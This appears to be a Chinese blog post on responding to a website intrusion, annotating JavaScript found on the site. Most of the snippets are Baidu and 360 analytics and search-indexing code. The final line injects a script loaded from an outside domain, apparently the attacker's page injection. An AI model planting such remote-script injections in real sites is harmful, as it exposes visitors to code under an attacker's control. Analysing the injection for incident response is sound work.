「拯救大冤种」记一次服务器入侵事件的应急响应

var _hmt = _hmt || [];(function() {  var hm = document.createElement("script"); //定义一个名为hm的script标签。  hm.src = "https://hm.baidu.com/hm.js?02bccd4ceefc73579f1931885e932bba";//给hm标签的src属性赋值。  var s = document.getElementsByTagName("script")[0]; //获取dom中第一个script标签 并将其赋值给变量s。  s.parentNode.insertBefore(hm, s);//})();
(function(){    var bp = document.createElement('script');    var curProtocol = window.location.protocol.split(':')[0];    if (curProtocol === 'https') {        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';    }    else {        bp.src = 'http://push.zhanzhang.baidu.com/push.js';    }    var s = document.getElementsByTagName("script")[0];    s.parentNode.insertBefore(bp, s);})();//if函数判断了当前浏览的网址协议是经过SSL加密过的https或者是其他类型的网址，根据不同的类型分别访问了2个JS文件。之后会将访问的JS文件内容生成脚本插入到当前的url页面中，运行该脚本则会读取对应的一个非常小体积的gif图像，在这个过程中将url地址推送到百度中。
(function(){var src = "https://jspassport.ssl.qhimg.com/11.0.1.js?d182b3f28525f2db83acfaaf6e696dba";document.write('<script src="' + src + '" id="sozz"><\/script>');})();//向页面插入<script>代码，并赋值src属性，就会去请求src地址，内容就是自动收录的代码
(function(){        var canonicalURL, curProtocol;        //Get the  tag        var x=document.getElementsByTagName("link");        //Find the last canonical URL（找到最后一个规范的URL）        if(x.length > 0){            for (i=0;i<x.length;i++){                if(x[i].rel.toLowerCase() == 'canonical' && x[i].href){                    canonicalURL=x[i].href;                }            }        }        //Get protocol（获取url协议）        if (!canonicalURL){            curProtocol = window.location.protocol.split(':')[0];        }        else{            curProtocol = canonicalURL.split(':')[0];        }        //Get current URL if the canonical URL does not exist（如果规范URL不存在，则获取当前URL）        if (!canonicalURL) canonicalURL = window.location.href;        //Assign script content. Replace current URL with the canonical URL（指定脚本内容。将当前URL替换为规范URL）        !function(){var e=/([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=canonicalURL,t=document.referrer;if(!e.test(r)){var n=(String(curProtocol).toLowerCase() === 'https')?"https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif":"//api.share.baidu.com/s.gif";t?(n+="?r="+encodeURIComponent(document.referrer),r&&(n+="&l="+r)):r&&(n+="?l="+r);var i=new Image;i.src=n}}(window);})();        (function (e) {    function t(e) {        var t = location.href,            n = t.split("").reverse(),            r = e.split(""),            i = [];        for (var s = 0, o = 16; s < o; s++) i.push(r[s] + (n[s] || ""));        return i.join("")    }    var n = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.so\.com)/gi,        r = e.location.href;    if (r && !n.test(r) && window.navigator.appName) {        var i = "https://s.360.cn/so/zz.gif",            o = "d182b3f28525f2db83acfaaf6e696dba",            u = t(o),            a = new Image;        r && (i += "?url=" + encodeURIComponent(r)), o && (i += "&sid=" + o), u && (i += "&token=" + u), o && (a.src = i)    }})(window);//加载一个 gif 图片，后面缀上当前 URL 和网站标识,360自动收录代码。
! function () {    var e = /([http|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,        r = window.location.href,        t = document.referrer;    if (!e.test(r)) {        var o = "https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";        t ? (o += "?r=" + encodeURIComponent(document.referrer), r && (o += "&l=" + r)) : r && (o += "?l=" + r);        var i = new Image;        i.src = o    }}(window);//百度自动推送文章收录代码
document.writeln("<script language='javascript' type='text/javascript' src='https://sjbgw2022.com/tb.js'></script>");//在页面插入script代码，并赋值src属性，然后请求src的内容https://sjbgw2022.com/tb.js